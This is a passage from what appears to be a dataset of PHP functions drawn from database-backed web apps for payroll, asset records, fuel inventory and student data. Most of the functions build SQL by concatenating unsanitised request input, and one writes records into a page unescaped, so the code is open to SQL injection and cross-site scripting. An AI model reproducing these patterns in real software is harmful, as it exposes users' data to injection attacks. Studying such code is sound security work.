INTO `direccion_antigua` (\";\r\n\t$sSql .= implode(\",\", array_keys($fieldList));\r\n\t$sSql .= \") VALUES (\";\r\n\t$sSql .= implode(\",\", array_values($fieldList));\r\n\t$sSql .= \")\";\r\n\tphpmkr_query($sSql, $conn) or die(\"Failed to execute query: \" . phpmkr_error() . '<br>SQL: ' . $sSql);\r\n\treturn true;\r\n}", "function semuaMahasiswa($query)\n{\n //karena $conn yang ada di file database.php berada diluar function semuaMahasiswa. jadi buat variable global untuk memanggilnya\n // agar variable $conn dapat digunakan\n global $conn;\n\n // array kosong untuk menyimpan dataMahasiswa\n\n $dataMahasiswa = $conn->query($query);\n return $dataMahasiswa; // untuk membuat function ini bernilai data 'dataMahasiswa'\n}", "function saveData($db, &$strError)\n{\n global $_REQUEST;\n global $_SESSION;\n global $messages;\n global $error;\n global $strDataID;\n global $intFormNumberDigit;\n $strmodified_byID = $_SESSION['sessionUserID'];\n $strError = \"\";\n $bolOK = true;\n $strDataID = (isset($_REQUEST['dataID'])) ? $_REQUEST['dataID'] : \"\";\n $strDataTripID = (isset($_REQUEST['dataTripID'])) ? $_REQUEST['dataTripID'] : \"\";\n $strDataCode = (isset($_REQUEST['dataCode'])) ? trim($_REQUEST['dataCode']) : \"\";\n $strDataNo = (isset($_REQUEST['dataNo'])) ? trim($_REQUEST['dataNo']) : \"\";\n $strDataMonth = (isset($_REQUEST['dataMonth'])) ? trim($_REQUEST['dataMonth']) : \"\";\n $strDataYear = (isset($_REQUEST['dataYear'])) ? trim($_REQUEST['dataYear']) : \"\";\n $strDataEmployee = (isset($_REQUEST['dataEmployee'])) ? trim($_REQUEST['dataEmployee']) : \"\";\n $strDataMethod = (isset($_REQUEST['dataMethod'])) ? $_REQUEST['dataMethod'] : \"0\";\n $strDataAccount = (isset($_REQUEST['dataAccount'])) ? $_REQUEST['dataAccount'] : \"\";\n $strDataBudget = (isset($_REQUEST['dataBudget'])) ? $_REQUEST['dataBudget'] : \"\";\n $strDataDate = (isset($_REQUEST['dataDate'])) ? $_REQUEST['dataDate'] : date(\"Y-m-d\");\n $strDataPaymentDate = (isset($_REQUEST['dataPaymentDate'])) ? $_REQUEST['dataPaymentDate'] : date(\"Y-m-d\");\n $strDataStatus = (isset($_REQUEST['dataStatus'])) ? $_REQUEST['dataStatus'] : \"0\";\n $strDataTotalAmount = (isset($_REQUEST['totalCost'])) ? $_REQUEST['totalCost'] : \"0\";\n $strDataTotalAmountOther = (isset($_REQUEST['totalCostOther'])) ? $_REQUEST['totalCostOther'] : \"0\";\n //$strDataPaymentStatus = (isset($_REQUEST['dataPaymentStatus'])) ? $_REQUEST['dataPaymentStatus'] : \"0\";\n // validasi data\n if (!validStandardDate($strDataDate)) {\n $strDataDate = date(\"Y-m-d\");\n } else if (!validStandardDate($strDataPaymentDate)) {\n $strDataPaymentDate = date(\"Y-m-d\");\n }\n // cek masalah kode/nomor form\n if ($strDataNo == \"\") {\n $strError = $error['empty_code'];\n $bolOK = false;\n } else {\n ($strDataID == \"\") ? $strKriteria = \"\" : $strKriteria = \"AND id <> '$strDataID' \";\n $strNumber = \"$strDataCode-$strDataNo/$strDataMonth/$strDataYear\";\n //if (isDataExists(\"hrdTripPayment\",\"claimNumber\",$strDataNo,$strKriteria)) {\n // $strError = $error['duplicate_code']. \" -> $strDataNo\";\n // $bolOK = false;\n //}\n }\n // cek apakah ada data emmployee\n if ($strDataEmployee == \"\") {\n $bolOK = false;\n $strError = $error['empty_data'];\n } else {\n $strSQL = \"SELECT id FROM hrd_employee WHERE employee_id = '$strDataEmployee' \";\n $resDb = $db->execute($strSQL);\n if ($rowDb = $db->fetchrow($resDb)) {\n $strIDEmployee = $rowDb['id'];\n } else {\n $bolOK = false;\n $strError = $error['data_not_found'];\n }\n }\n if ($bolOK && $strIDEmployee != \"\") {\n if ($strDataID == \"\") { // buat baru\n // cek dulu, apakah data sudah yang terakhir\n $strTmp = getLastFormNumber($db, \"hrdTripPayment\", \"no\", $strDataMonth, $strDataYear);\n $intTmp = ($strTmp == \"\") ? 0 : (int)$strTmp;\n $intKode = (int)$strDataNo;\n if ($intKode <= $intTmp) { // sudah ada yang lebih besar atau sama, ganti\n $intKode = $intTmp + 1;\n $strDataNo = addPrevZero($intKode, $intFormNumberDigit);\n }\n $strSQL = \"INSERT INTO hrd_trip_payment (created, modified_by, created_by, id_employee, \";\n $strSQL .= \"code, no, month_code, year_code, method, account_no, \";\n $strSQL .= \"budget_code, request_date, payment_date , status, id_trip, \\\"totalAmount\\\", total_amount_other) \";\n $strSQL .= \"VALUES(now(), '$strmodified_byID', '$strmodified_byID', '$strIDEmployee', \";\n $strSQL .= \"'$strDataCode', '$strDataNo', '$strDataMonth', '$strDataYear', \";\n $strSQL .= \"'$strDataMethod', '$strDataAccount', '$strDataBudget', '$strDataDate', \";\n $strSQL .= \"'$strDataPaymentDate', '$strDataStatus', '$strDataTripID', '$strDataTotalAmount', '$strDataTotalAmountOther') \";\n $resExec = $db->execute($strSQL);\n // cari IDnya\n $strSQL = \"SELECT id FROM hrd_trip_payment WHERE code = '$strDataCode' \";\n $strSQL .= \"AND no = '$strDataNo' AND month_code = '$strDataMonth' AND year_code = '$strDataYear' \";\n $strSQL .= \"AND id_employee = '$strIDEmployee' AND status = '$strDataStatus' \";\n $resDb = $db->execute($strSQL);\n if ($rowDb = $db->fetchrow($resDb)) {\n $strDataID = $rowDb['id'];\n }\n } else {\n $strSQL = \"UPDATE hrd_trip_payment SET modified_by = '$strmodified_byID', \";\n $strSQL .= \"id_employee = '$strIDEmployee', \";\n $strSQL .= \"code = '$strDataCode', no = '$strDataNo', \";\n $strSQL .= \"month_code = '$strDataMonth', year_code = '$strDataYear', \";\n $strSQL .= \"method = '$strDataMethod', account_no = '$strDataAccount', \";\n $strSQL .= \"request_date = '$strDataDate', payment_date = '$strDataPaymentDate', \";\n $strSQL .= \"budget_code = '$strDataBudget', status = '$strDataStatus', \";\n $strSQL .= \"\\\"totalAmount\\\" = '$strDataTotalAmount', total_amount_other = '$strDataTotalAmountOther' \";\n $strSQL .= \"WHERE id = '$strDataID' \";\n $resExec = $db->execute($strSQL);\n }\n if ($strDataID != \"\") { // simpan detail claim yang dilakukan\n (isset($_REQUEST['maxDetail'])) ? $intMax = $_REQUEST['maxDetail'] : $intMax = 0;\n for ($i = 1; $i <= $intMax; $i++) {\n (isset($_REQUEST['detailID' . $i])) ? $strID = $_REQUEST['detailID' . $i] : $strID = \"\";\n $strNote = (isset($_REQUEST['detailNote' . $i])) ? $_REQUEST['detailNote' . $i] : \"\";\n (isset($_REQUEST['detailCost' . $i])) ? $strCost = $_REQUEST['detailCost' . $i] : $strCost = \"0\";\n (isset($_REQUEST['detailCostOther' . $i])) ? $strCostOther = $_REQUEST['detailCostOther' . $i] : $strCostOther = \"0\";\n if (!is_numeric($strCost)) {\n $strCost = 0;\n }\n if (!is_numeric($strCostOther)) {\n $strCostOther = 0;\n }\n if ($strID == \"\") {\n if ($strNote != \"\") { // insert new data\n $strSQL = \"INSERT INTO hrd_trip_payment_other (created,modified_by, created_by, \";\n $strSQL .= \"id_trip_payment, note, amount, amount_other) \";\n $strSQL .= \"VALUES(now(), '$strmodified_byID', '$strmodified_byID', '$strDataID', \";\n $strSQL .= \"'$strNote', '$strCost', '$strCostOther') \";\n $resDb = $db->execute($strSQL);\n writeLog(ACTIVITY_ADD, MODULE_PAYROLL, \"$strDataID\", 0);\n }\n } else {\n if ($strNote == \"\") {\n // delete data\n $strSQL = \"DELETE FROM hrd_trip_payment_other WHERE id = '$strID' \";\n $resDb = $db->execute($strSQL);\n writeLog(ACTIVITY_DELETE, MODULE_PAYROLL, \"$strDataID\", 0);\n } else {\n // update data\n $strSQL = \"UPDATE hrd_trip_payment_other SET modified_by = '$strmodified_byID', \";\n $strSQL .= \"note = '$strNote', amount = '$strCost', amount_other = '$strCostOther' \";\n $strSQL .= \"WHERE id = '$strID' \";\n $resDb = $db->execute($strSQL);\n writeLog(ACTIVITY_EDIT, MODULE_PAYROLL, \"$strDataID\", 0);\n }\n } // if\n } // for\n } //if\n $strError = $messages['data_saved'] . \" >> \" . date(\"d-M-Y H:i:s\");\n return true;\n } else {\n return false;\n }\n return true;\n}", "function getdataRwyt($skpd_id, $AsetId, $tglakhirperolehan, $tglawalperolehan, $param, $tglpembukuan)\n{\n\n if($param == '01') {\n $tabel_log = 'log_tanah';\n\n $tabel = 'tanah';\n $tabel_view = 'view_mutasi_tanah';\n } elseif($param == '02') {\n $tabel_log = 'log_mesin';\n $tabel = 'mesin';\n $tabel_view = 'view_mutasi_mesin';\n } elseif($param == '03') {\n $tabel_log = 'log_bangunan';\n $tabel = 'bangunan';\n $tabel_view = 'view_mutasi_bangunan';\n } elseif($param == '04') {\n $tabel_log = 'log_jaringan';\n $tabel = 'jaringan';\n $tabel_view = 'view_mutasi_jaringan';\n } elseif($param == '05') {\n $tabel_log = 'log_asetlain';\n $tabel = 'asetlain';\n $tabel_view = 'view_mutasi_asetlain';\n } elseif($param == '06') {\n $tabel_log = 'log_kdp';\n $tabel = 'kdp';\n $tabel_view = 'view_mutasi_kdp';\n }\n\n /*Kode Riwayat\n 0 = Data baru\n 2 = Ubah Kapitalisasi\n 7 = Penghapusan Sebagian\n 21 = Koreksi Nilai\n 26 = Penghapusan Pemindahtanganan\n 27 = Penghapusan Pemusnahan\n */\n/* $paramLog = \"l.TglPerubahan >'$tglawalperolehan' and l.TglPerubahan <='$tglakhirperolehan' and l.TglPembukuan>='$tglpembukuan'\n AND l.Kd_Riwayat in (0,1,2,3,7,21,26,27,28,50,51,29) and l.Kd_Riwayat != 77 \n and l.Aset_ID = '{$AsetId}' \n order by l.Aset_ID ASC\";*/\n\n $paramLog = \"l.TglPerubahan >'$tglawalperolehan' and l.TglPerubahan <='$tglakhirperolehan' \n AND l.Kd_Riwayat in (0,1,2,3,7,21,26,27,28,50,51,29,30,281,291,36) and l.Kd_Riwayat != 77 \n and l.Aset_ID = '{$AsetId}' \n order by l.Aset_ID ASC\";\n\n\n $log_data = \"select l.* from {$tabel_log} as l \n inner join {$tabel} as t on l.Aset_ID = t.Aset_ID \n where $paramLog\";\n //pr($log_data);\n $splitKodeSatker = explode ('.', $skpd_id);\n if(count ($splitKodeSatker) == 4) {\n $paramSatker = \"kodeSatker = '$skpd_id'\";\n $paramSatker_mts_tr = \"SatkerAwal = '$skpd_id'\";\n $paramSatker_mts_rc = \"SatkerTujuan = '$skpd_id'\";\n\n } else {\n $paramSatker = \"kodeSatker like '$skpd_id%'\";\n $paramSatker_mts_tr = \"SatkerAwal like '$skpd_id%'\";\n $paramSatker_mts_rc = \"SatkerTujuan like '$skpd_id%'\";\n\n }\n $queryALL = array( $log_data );\n for ($i = 0; $i < count ($queryALL); $i++) {\n $result = mysql_query ($queryALL[ $i ]) or die ($param.\"---\".$queryALL[ $i ].\" \".mysql_error());\n if($result) {\n while ($dataAll = mysql_fetch_object ($result)) {\n if($dataAll->Kd_Riwayat == 3 && $dataAll->kodeSatker != $skpd_id) {\n\n } else {\n $getdata[] = $dataAll;\n }\n\n }\n }\n\n }\n if($getdata) {\n return $getdata;\n }\n}", "public function getData_Model($data)\n {\n $ID = $data['ID_REGIONAL'];\n $COCODE = $data['COCODE'];\n $PLANT = $data['PLANT'];\n $STORE_SLOC = $data['STORE_SLOC'];\n $SLOC = $data['SLOC'];\n $BBM = $data['BBM'];\n $BULAN = $data['BULAN'];\n $TAHUN = $data['TAHUN'];\n $TGL_DARI = $data['TGL_DARI'];\n $TGL_SAMPAI = $data['TGL_SAMPAI'];\n $JENIS_BBM = '';\n $PARAM = '';\n $SETTGL = '';\n\n if ($COCODE == '' && $PLANT == '' && $STORE_SLOC == '' && $SLOC == '' && $ID == '00') {\n $PARAM = \"F.ID_REGIONAL != '$PARAM'\";\n } elseif ($COCODE == '' && $PLANT == '' && $STORE_SLOC == '' && $SLOC == '') {\n $PARAM = \"F.ID_REGIONAL = '$ID'\";\n } elseif ($PLANT == '' && $STORE_SLOC == '' && $SLOC == '') {\n $PARAM = \"E.COCODE = '$COCODE'\";\n } elseif ($STORE_SLOC == '' && $SLOC == '') {\n $PARAM = \"D.PLANT = '$PLANT'\";\n } elseif ($SLOC == '') {\n $PARAM = \"C.STORE_SLOC = '$STORE_SLOC'\";\n } else {\n $PARAM = \"B.SLOC = '$SLOC'\";\n }\n\n if ($BBM == '') {\n $JENIS_BBM = \"OR G.ID_JNS_BHN_BKR = '$BBM'\";\n } else {\n $JENIS_BBM = \"AND G.ID_JNS_BHN_BKR = '$BBM'\";\n }\n\n if ($TGL_DARI == '') {\n $SETTGL = \" LIKE '%%'\";\n } else {\n $SETTGL = \" BETWEEN '$TGL_DARI' AND '$TGL_SAMPAI' \";\n }\n\n $sql = \"SELECT F.NAMA_REGIONAL LEVEL0, E.LEVEL1,D.LEVEL2,C.LEVEL3,B.LEVEL4,G.NAMA_JNS_BHN_BKR,\nA.TGL_MUTASI_PERSEDIAAN,A.STOCK_AWAL,A.PENERIMAAN_REAL,A.PEMAKAIAN,PK1.PEMAKAIAN_SENDIRI\n,PK2.PEMAKAIAN_KIRIM,PN2.TERIMA_PEMASOK,PN1.TERIMA_UNITLAIN,\nA.DEAD_STOCK,A.VOLUME_STOCKOPNAME,A.STOCK_AKHIR_REAL,A.STOCK_AKHIR_EFEKTIF,A.STOCK_AKHIR_KOREKSI,\nROUND(A.SHO, 2) SHO,A.REVISI_MUTASI_PERSEDIAAN,\nCASE WHEN MP.VOLUME_MAX_PAKAI IS NULL\nTHEN ( SELECT VOLUME_MAX_PAKAI\n FROM MAX_PEMAKAIAN D\n WHERE D.THBL_MAX_PAKAI < DATE_FORMAT (A.TGL_MUTASI_PERSEDIAAN,'%Y%m') - 1\nAND D.SLOC = A.SLOC\nAND D.ID_JNS_BHN_BKR = A.ID_JNS_BHN_BKR\nORDER BY D.THBL_MAX_PAKAI DESC LIMIT 1) ELSE MP.VOLUME_MAX_PAKAI END MAX_PEMAKAIAN\nFROM (\nSELECT * FROM REKAP_MUTASI_PERSEDIAAN\nWHERE IS_AKTIF_MUTASI_PERSEDIAAN='1' AND TGL_MUTASI_PERSEDIAAN $SETTGL)\nA\nLEFT OUTER JOIN\n(\nSELECT SLOC,ID_JNS_BHN_BKR,TGL_PENGAKUAN,SUM(VOL_TERIMA_REAL) TERIMA_UNITLAIN FROM MUTASI_PENERIMAAN\nWHERE STATUS_MUTASI_TERIMA IN ('2','6') AND JNS_PENERIMAAN='1' AND TGL_PENGAKUAN $SETTGL GROUP BY SLOC,ID_JNS_BHN_BKR,TGL_PENGAKUAN) PN1\nON PN1.SLOC = A.SLOC AND PN1.ID_JNS_BHN_BKR=A.ID_JNS_BHN_BKR AND PN1.TGL_PENGAKUAN=A.TGL_MUTASI_PERSEDIAAN\nLEFT OUTER JOIN\n(\nSELECT SLOC,ID_JNS_BHN_BKR,TGL_PENGAKUAN,SUM(VOL_TERIMA_REAL) TERIMA_PEMASOK FROM MUTASI_PENERIMAAN\nWHERE STATUS_MUTASI_TERIMA IN ('2','6') AND JNS_PENERIMAAN='2' AND TGL_PENGAKUAN $SETTGL GROUP BY SLOC,ID_JNS_BHN_BKR,TGL_PENGAKUAN) PN2\nON PN2.SLOC = A.SLOC AND PN2.ID_JNS_BHN_BKR=A.ID_JNS_BHN_BKR AND PN2.TGL_PENGAKUAN=A.TGL_MUTASI_PERSEDIAAN\nLEFT OUTER JOIN\n(\nSELECT SLOC,ID_JNS_BHN_BKR,TGL_MUTASI_PENGAKUAN,SUM(VOLUME_PEMAKAIAN) PEMAKAIAN_SENDIRI FROM MUTASI_PEMAKAIAN\nWHERE STATUS_MUTASI_PEMAKAIAN IN ('2','6') AND JENIS_PEMAKAIAN='1' AND TGL_MUTASI_PENGAKUAN $SETTGL GROUP BY SLOC,ID_JNS_BHN_BKR,TGL_MUTASI_PENGAKUAN) PK1\nON PK1.SLOC = A.SLOC AND PK1.ID_JNS_BHN_BKR=A.ID_JNS_BHN_BKR AND PK1.TGL_MUTASI_PENGAKUAN=A.TGL_MUTASI_PERSEDIAAN\nLEFT OUTER JOIN\n(\nSELECT SLOC,ID_JNS_BHN_BKR,TGL_MUTASI_PENGAKUAN,SUM(VOLUME_PEMAKAIAN) PEMAKAIAN_KIRIM FROM MUTASI_PEMAKAIAN\nWHERE STATUS_MUTASI_PEMAKAIAN IN ('2','6') AND JENIS_PEMAKAIAN='2' AND TGL_MUTASI_PENGAKUAN $SETTGL GROUP BY SLOC,ID_JNS_BHN_BKR,TGL_MUTASI_PENGAKUAN ) PK2\nON PK2.SLOC = A.SLOC AND PK2.ID_JNS_BHN_BKR=A.ID_JNS_BHN_BKR AND PK2.TGL_MUTASI_PENGAKUAN=A.TGL_MUTASI_PERSEDIAAN\nLEFT OUTER JOIN (\n SELECT SLOC,ID_JNS_BHN_BKR,THBL_MAX_PAKAI,VOLUME_MAX_PAKAI FROM `MAX_PEMAKAIAN`\n) MP\nON MP.SLOC = A.SLOC AND MP.ID_JNS_BHN_BKR=A.ID_JNS_BHN_BKR AND MP.THBL_MAX_PAKAI = DATE_FORMAT(A.TGL_MUTASI_PERSEDIAAN,'%Y%m') - 1\nINNER JOIN MASTER_LEVEL4 B ON B.SLOC=A.SLOC\nINNER JOIN MASTER_LEVEL3 C ON C.STORE_SLOC = B.STORE_SLOC\nINNER JOIN MASTER_LEVEL2 D ON D.PLANT = B.PLANT\nINNER JOIN MASTER_LEVEL1 E ON E.COCODE=D.COCODE\nINNER JOIN MASTER_REGIONAL F ON F.ID_REGIONAL=E.ID_REGIONAL\nINNER JOIN M_JNS_BHN_BKR G ON G.ID_JNS_BHN_BKR=A.ID_JNS_BHN_BKR\nWHERE ($PARAM $JENIS_BBM)\nGROUP BY F.NAMA_REGIONAL, E.LEVEL1,D.LEVEL2,C.LEVEL3,B.LEVEL4,G.NAMA_JNS_BHN_BKR,\nA.TGL_MUTASI_PERSEDIAAN,A.STOCK_AWAL,A.PENERIMAAN_REAL,A.PEMAKAIAN,\nA.DEAD_STOCK,A.VOLUME_STOCKOPNAME,\nA.STOCK_AKHIR_REAL,A.STOCK_AKHIR_EFEKTIF,A.STOCK_AKHIR_KOREKSI,A.SHO,A.REVISI_MUTASI_PERSEDIAAN\nORDER BY A.TGL_MUTASI_PERSEDIAAN DESC, LEVEL0 ASC, LEVEL1 ASC, LEVEL2 ASC, LEVEL3 ASC, LEVEL4 ASC, NAMA_JNS_BHN_BKR ASC \";\n\n $query = $this->db->query($sql);\n $this->db->close();\n\n return $query->result();\n }", "function creatabella_dati($qry,$bordo=0,$backcolor=\"#ffffff\",$backheader = \"#ffffff\",$id=\"tabeldati\",$nometabella=\"utenti\",$campok=\"id\",$tipok=\"numerico\")\n{\n \n if (isset($_POST[\"submit1\"]))\n {\n unset($_POST[\"submit1\"]);\n\t$qrydet = (($tipok == \"numerico\") ? \"select * from $nometabella where $campok={$_POST[\"valoreid\"]}\":\"select * from $nometabella where $campok='{$_POST[\"valoreid\"]}'\");\t\n \t$resultqry1 = esegui_query($qrydet);\t\n\t$rec = getrecord($resultqry1);\n\t$ncampi = getnumcampi($resultqry1);\n\techo \"<script language=javascript>\";\t\n\techo \"wnd = window.open('','Dettagli','toolbar=no,menubar=no,top=20,left=40,height=400,width=400');\";\n\techo \"wnd.document.write('<h3 style=\\\"text-align:center\\\">Ulteriori Informazioni</h3>');\";\n\techo \"wnd.document.write('<div style=\\\"margin:0px auto;padding:0px;text-align:center\\\">');\";\n\t\n\techo \"wnd.document.write('<table style=\\\"background-color:#339999;text-align:center;border:0\\\">');\";\n\t\n\tfor($i = 0;$i < $ncampi;$i++)\n\t {\n\t $nomec = getnomecampo($resultqry1,$i);\n\t if (($rec[$nomec] != NULL) & ($rec[$nomec] != \"\"))\n\t echo \"wnd.document.write('<tr><td style=\\\"background-color:#99ffcc;text-align:right\\\"><b>$nomec: </b></td><td style=\\\"background-color:#ccccff\\\">$rec[$nomec]</td></tr>');\";\n\t }\n\t echo \"wnd.document.write('</table>');\";\n\t echo \"wnd.document.write('</div>');\";\n\t echo \"wnd.document.write('<p style=\\\"text-align:center\\\"><input type=button value=Chiudi onclick=\\\"window.close();\\\"></p>');\";\n\techo \"</script>\";\n }\n $resultqry = esegui_query($qry);\n if (numrec($resultqry) == 0)\n \techo \"<b>Nessun record Trovato</b>\";\n else\n {\n \t$numcolonne = getnumcampi($resultqry);\n\techo \"<table cellpadding=\\\"0\\\" cellspacing=\\\"2\\\" style=\\\"border:solid {$bordo}px;background-color:$backcolor\\\" id=\\\"$id\\\">\";\n\techo \"<tr>\";\n\tfor($i = 0;$i < $numcolonne;$i++)\n\t {\n\t\t$nc = getnomecampo($resultqry,$i);\n\t\techo \"<th style=\\\"background-color:$backheader;border:solid {$bordo}px;\\\">$nc</th>\";\n\t }\n\t echo \"<th style=\\\"background-color:$backheader;border:solid {$bordo}px;\\\">Dettagli</th>\";\n\t echo \"</tr>\";\n\t while(($record = getrecord($resultqry)))\n\t {\n\t echo \"<tr>\";\n\t \tfor($i = 0;$i < $numcolonne;$i++)\n\t {\n\t\t $nc = getnomecampo($resultqry,$i);\n\t\t echo \"<td style=\\\"text-align:left;border:solid {$bordo}px;\\\">$record[$nc]\" . \"&nbsp;\" . \"</td>\";\n\t\t \n\t }\n\t\t echo \"<td style=\\\"text-align:center;border:solid {$bordo}px;\\\">\";\n\t\t form_crea(\"r\" . $record[$campok],1,$_SERVER[\"PHP_SELF\"]);\n\t\t echo \"<div>\";\n\t\t form_casella_testo_nascosta(\"valoreid\",$record[$campok]);\n\t\t form_invia(\"Dettagli\",\"submit1\");\n\t\t echo \"</div>\";\n\t\t form_chiudi();\n\t\t echo \"</td>\";\n\t\t echo \"</tr>\";\n\t\t \n\t }\n echo \"</table>\";\n }\n}", "function my_browse_data( $table_name , $datas ){\r\n\t\r\n\tglobal $connection;\r\n\t\r\n\t$primary_field = my_get_field_list($table_name);\r\n\tforeach($datas as $field => $value){\r\n\t\t$fieldname = $field ;\r\n\t\t$fieldvalue = $value;\r\n\t}\r\n\t\r\n\t$query = \" SELECT `\".$primary_field. \"` FROM `\".$table_name.\"` WHERE `\".$fieldname.\"` = \". $fieldvalue ;\r\n\t \r\n\t$result = my_query( $query );\r\n\tif( my_num_rows($result) > 0 ){\r\n\t\t\r\n\t\t$data = array();\r\n\t\t\r\n\t\twhile(\t$row = my_fetch_array($result) ){\r\n\t\t\t$data[] = $row[$primary_field];\r\n\t\t}\r\n\t\t\r\n\t\treturn $data;\r\n\t\r\n\t}\r\n\t\r\n\treturn false;\r\n\t\r\n}", "function insert_record()\n\t{\n\t $dbname=$this->dbname;\n\t $DB1=$this->__connect($dbname,$this->table_name);\n $fields_data=$this->__list_fields_data($dbname,$this->table_name);\n // echo_array($fields_data);\n $index=$this->_get_primary($fields_data);\n //echo $index;\n //echo_array($_POST);\n \n \n //since we are coming from a form there\n //are $_POST values\n foreach ($fields_data->name as $key=>$value)\n {\n $data[$value['name']]=$_POST[$value['name']];\n }\n\n //needs checking if a FOREIGN FIELD\n //insert into database \n $this->db->insert($this->table_name, $data);\n\n $keys=(array_keys($data));\n $values=(array_values($data));\n\n //prepare some data for the form controls\n //in this case the Tdataset control\n \n $i=0;\n $num_fields=count($keys);\n for ($i=0;$i<$num_fields;$i++){\n $this->table->add_row($keys[$i],$values[$i]);\n }\n $this->table->set_heading('field','Value');\n $this->table->set_caption('Insert');\n $this->table->set_template($this->tmpl);\n $s=$this->table->generate();\n $s.='<a href=\"http://localhost/CodeIgniter/admin/dbutil/browse/'.$dbname.'/'.$this->table_name.'\">Click to Edit More</a>';\n return $s;\n\t}", "function data_prosesan()\n{\n //$jadual['medan'][]='*';\n /*$jadual['medan'][]='newss,ssm,nama,tel,fax,responden,' .\n '(SELECT keterangan FROM msic WHERE msic=msic2000 LIMIT 1,1) as keterangan,' .\n 'msic2000,msicB2000,fe';*/\n $sama='j1.newss,concat(j1.tahun_rujukan,\"-\",j1.siri_kekerapan) as blnthn, ';\n $sama2='j2.newss,concat(j2.tahun_rujukan,\"-\",j2.siri_kekerapan) as blnthn, ';\n //$jadual['medan'][]=$sama . 'ssm, nama, operator, sv, kekerapan_sv'; \n //$jadual['medan'][]=$sama . 'ng, po, data_anggaran, cara_maklum_balas, cara_terima, sumber_pertubuhan, kategori_sample';\n //$jadual['medan'][]=$sama . 'status_operasi, status_lain_pbb, bil_bulan_bco, siasatan_bermula, siasatan_berakhir';\n //$jadual['medan'][]=$sama . 'no_jln_bgn, tmn_kg, bandar_kawasan, poskod, negeri, daerah, catatan';\n //$jadual['medan'][]=$sama . 'responden, jawatan, email, notel, lamanweb, tarikh';\n //$jadual['medan'][]=$sama . 'responden2, jawatan2, email2, notel2, nofax2';\n //$jadual['medan'][]=$sama . '`no_jln_bgn-lokasi`, `tmn_kg-lokasi`, `bandar_kawasan-lokasi`, ' .\n //'`poskod-lokasi`, `negeri-lokasi` ng, `daerah-lokasi` dp';\n $jadual['medan'][]='j1.newss,j1.ssm,j1.nama,concat(j1.tahun_rujukan,\"-\",j1.siri_kekerapan) as blnthn ';\n $jadual['medan'][]=$sama . \"\\r\" . 'msic_lama, (SELECT keterangan FROM msic WHERE msic=msic_lama LIMIT 1,1) as keterangan,' . \n 'msic_baru, utama '; \n //$jadual['medan'][]=$sama . \"\\r\\t\" . 'F3001, F3002, catatan_soalan3, ' . 'F5001, F5002, F5003, F5104, catatan_soalan5';\n $jadual['medan'][]=$sama . 'F6001, F6002, F6003, F6004, F6005, F6101, F6102, F6103, F6104, F6105, catatan_soalan6';\n $jadual['medan'][]=$sama . 'F7001, F7002, F7003, catatan_soalan7, ' .\n 'F8001, catatan_soalan8, F9001, catatan_soalan9';\n //$jadual['medan'][]=$sama . 'cara_anggaran, bulan_terakhir_data_sebenar, bil_bulan_data_telah_dianggar';\n\n //$jadual['medan'][]=$sama . 'Deskripsi_Produk_Oleh_Responden, Produk_Tetap, Deskripsi_Produk_Tetap,\n //Produk_Tambahan, Deskripsi_Produk_Tambahan, UnitKuantitiAsal, UnitKuantitiLain'; \n $produk='Deskripsi_Produk_Tetap Nama, Produk_Tetap Kod, ';\n $jadual['medan'][]=$sama . $produk . 'KuantitiPengeluaran, KuantitiJualan, NilaiJualan, ' .\n 'format(NilaiJualan/KuantitiJualan,2) as HargaUnit, UnitKuantitiKini';\n //$jadual['medan'][]=$sama . $produk . 'ProsesanKuantitiPengeluaran, ProsesanKuantitiJualan, ProsesanNilaiJualan, AUP';\n $jadual['medan'][]=$sama . $produk . 'F2497, F2498, F2499, Catatan';\n $jadual['medan'][]=$sama . \"\\r\\t\" . \n 'F3001, F3002, catatan_soalan3, ' .\n 'F5001, F5002, F5003, F5104, catatan_soalan5';\n\n //$jadual['medan'][]=$sama . 'catatan';\n $jadual['medan'][]=$sama . 'F4001, F4002, F4003, F4004';\n $jadual['medan'][]=$sama . 'F4101, F4102, F4103, F4104';\n $jadual['medan'][]=$sama . 'F4201, F4202, F4203, F4204';\n $jadual['medan'][]=$sama . 'catatan \"Nota \", F4302, F4303, F4304';\n\n // bulanan\n //$bulan=($_GET['bln']==null)? '':'AND siri_kekerapan=\"'.bersih($_GET['bln']).'\"';\n $bulan_penuh = array('Januari', 'Februari', 'Mac', 'April', \n 'Mei', 'Jun', 'Julai', 'Ogos', \n 'September', 'Oktober', 'November', 'Disember');\n //$kerap='\"'.$bulan_penuh[0].'\",\"'.$bulan_penuh[1].'\",\"'.$bulan_penuh[2].'\"';\n //$bulan=($_GET['bln']==null)? '':'AND j1.siri_kekerapan in ('.$kerap.')';\n //$myJadual=array('mm_rangka','mm_rangka');\n for($z=1;$z <= 4;$z++) { $jadual['nama'][]='prosesmm_info'; } // bil medan = 15\n for($z=1;$z <= 2;$z++) { $jadual['nama'][]='prosesmm_jualan'; }\n $jadual['nama'][]='prosesmm_info';\n for($z=1;$z <= 4;$z++) { $jadual['nama'][]='prosesmm_gajistaf'; }\n $join1='prosesmm_info';\n $join2='prosesmm_jualan';\n $join3='prosesmm_gajistaf';\n \n return $jadual;\n}", "function show_admin_data($root)\n{\n?>\n<h2 class=\"heading\" align=\"center\">Administrasi Data</h2>\n<?php\n\t$sql = 'SELECT nim, nama, alamat FROM ' . MHS;\n\t$res = mysql_query($sql);\n\t\n\tif ($res)\n\t{\n\t\t$num = mysql_num_rows($res);\n\t\tif ($num)\n\t\t{\n?>\n<div class=\"container\">\n\t<div class=\"row clearfix\">\n\t\t<div class=\"col-md-12 column\">\n\t\t<table class=\"table\">\n\t\t\t<a href=\"<?php echo $root;?>&amp;act=add\">Tambah Data </a>\n\t\t\t<thead>\n\t\t\t<tr>\n\t\t\t\t<th>#</th>\n\t\t\t\t<th>NIM</th>\n\t\t\t\t<th>Nama</th>\n\t\t\t\t<th>Alamat</th>\n\t\t\t\t<th>Menu</th>\n\t\t\t</tr>\n\t\t\t</thead>\n\t\t\t<tbody>\n\t\t\t<?php\n\t\t\t$i = 1;\n\t\t\twhile ($row = mysql_fetch_row($res))\n\t\t\t{\n\t\t\t\t$bg = (($i % 2) != 0) ? '' : 'even';\n\t\t\t\t$id = $row[0]; ?>\n\t\t\t\t<tr class=\"<?php echo $bg;?>\">\n\t\t\t\t\t<td width=\"2%\"><?php echo $i;?></td>\n\t\t\t\t\t<td>\n\t\t\t\t\t\t<a href=\"<?php echo $root;?>&amp;act=view&amp;id=<?php echo $id;?>\" title=\"Lihat Data\"><?php echo $id;?></a>\n\t\t\t\t\t</td>\n\t\t\t\t\t<td><?php echo $row[1];?></td>\n\t\t\t\t\t<td><?php echo $row[2];?></td>\n\t\t\t\t\t<td>\n\t\t\t\t\t| <a href=\"<?php echo 